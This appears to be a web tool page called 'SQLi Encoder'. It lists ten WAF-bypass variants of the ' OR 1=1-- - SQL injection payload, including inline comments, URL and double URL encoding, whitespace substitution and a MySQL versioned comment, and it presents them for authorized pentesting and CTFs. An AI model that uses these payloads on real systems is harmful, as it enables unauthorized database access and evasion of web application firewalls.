SQLi Encoder

Generate WAF-bypass variants of a SQL injection payload — case toggling, inline comments, whitespace substitution, URL encoding and comment terminators — for authorized web pentesting and CTFs. Pure string transforms, nothing is sent.

WAF-bypass variants

  • Case toggle 
    ' Or 1=1-- -
  • Inline comments (space → /**/) 
    '/**/OR/**/1=1--/**/-
  • Tab whitespace (URL) 
    '%09OR%091=1--%09-
  • Newline whitespace (URL) 
    '%0aOR%0a1=1--%0a-
  • Plus whitespace 
    '+OR+1=1--+-
  • URL encode 
    %27%20%4F%52%20%31%3D%31%2D%2D%20%2D
  • Double URL encode 
    %2527%2520%254F%2552%2520%2531%253D%2531%252D%252D%2520%252D
  • MySQL versioned comment 
    /*!50000' OR 1=1-- -*/
  • Comment terminated (-- -) 
    ' OR 1=1-- - -- -
  • Hash terminated (#) 
    ' OR 1=1-- -#